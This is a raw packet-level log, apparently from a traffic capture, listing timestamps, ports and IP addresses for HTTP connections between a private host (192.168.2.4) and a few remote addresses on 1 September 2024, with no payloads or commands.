Sep 1, 2024 05:09:25.291826963 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291829109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291838884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291846991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291848898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291866064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291874886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291877985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291887999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291896105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291897058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291907072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291917086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291918993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291927099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291935921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291935921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291946888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291956902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291965008 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291966915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291977882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291987896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291994095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292002916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292012930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292018890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292023897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292028904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292033911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292043924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292043924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292061090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292066097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292072058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292088032 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292100906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292156935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292167902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292177916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292187929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292197943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292207003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292217970 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292229891 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292258978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292321920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292334080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292363882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292478085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292493105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292503119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292512894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292534113 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292557001 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292627096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292637110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292646885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292655945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292665958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292668104 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292692900 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292714119 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292823076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292833090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292840958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292851925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292861938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292874098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292877913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292886972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292891026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292895079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292905092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292912960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.292918921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292937040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.292954922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.302159071 CEST	80	49780	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:25.302225113 CEST	49780	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:25.374475002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374547958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.374634027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374644041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374653101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374660969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374670029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374679089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374689102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374691010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.374737978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374738932 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.374747038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374764919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374774933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374782085 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.374788046 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.374819040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.374849081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374857903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374866962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374897957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.374922037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.374943972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374953985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374963045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374972105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.374993086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375017881 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375097036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375107050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375116110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375124931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375138998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375138998 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375149012 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375158072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375163078 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375174999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375185013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375189066 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375194073 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375222921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375240088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375264883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375273943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375303984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375313044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375413895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375442028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375454903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375466108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375474930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375483990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375493050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375500917 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375504017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375514984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375543118 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375586033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375595093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375605106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375621080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375629902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375638962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375648975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375667095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375673056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375818968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375828981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375838041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375845909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375855923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375868082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375874043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375878096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375886917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375895977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375941992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.375966072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375974894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.375986099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376024008 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376178980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376188040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376198053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376207113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376214981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376224041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376224995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376233101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376243114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376252890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376255035 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376261950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376276016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376282930 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376286030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376302004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376323938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376343966 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376426935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376435995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376444101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376477003 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376594067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376604080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376612902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376621962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376631021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376640081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376640081 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376650095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376657963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376662970 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376667976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376677036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376686096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376688004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376694918 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376705885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376709938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376728058 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376741886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376828909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376895905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376904964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376945972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376955986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.376976967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376986980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.376996040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377016068 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377034903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377046108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377049923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377063036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377072096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377080917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377083063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377100945 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377130985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377166986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377177000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377197027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377216101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377247095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377309084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377319098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377331018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377340078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377350092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377357960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377362013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377372980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377396107 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377420902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377449989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377460003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377501011 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377605915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377614975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377624035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377634048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377644062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377652884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377657890 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377660990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377671003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377676010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377695084 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377707005 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377748966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377758980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377768040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377778053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377795935 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377821922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.377847910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377857924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.377898932 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.430915117 CEST	443	49782	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.432080030 CEST	443	49781	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.461329937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461427927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461436987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461446047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461455107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461463928 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461472988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461484909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461523056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461549997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461563110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461571932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461580992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461585045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461591005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461605072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461605072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461610079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461620092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461641073 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461664915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461675882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461685896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461694002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461713076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461721897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461730957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461735010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461762905 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461832047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461842060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461850882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461858034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461862087 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461867094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461877108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461883068 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461915016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461930990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461941004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461976051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.461981058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461990118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.461998940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462006092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462014914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462024927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462042093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462049007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462107897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462117910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462126017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462135077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462143898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462158918 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462181091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462282896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462300062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462308884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462341070 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462366104 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462367058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462376118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462384939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462430954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462451935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462461948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462532043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462542057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462551117 CEST	80	49742	185.215.113.100	192.168.2.4
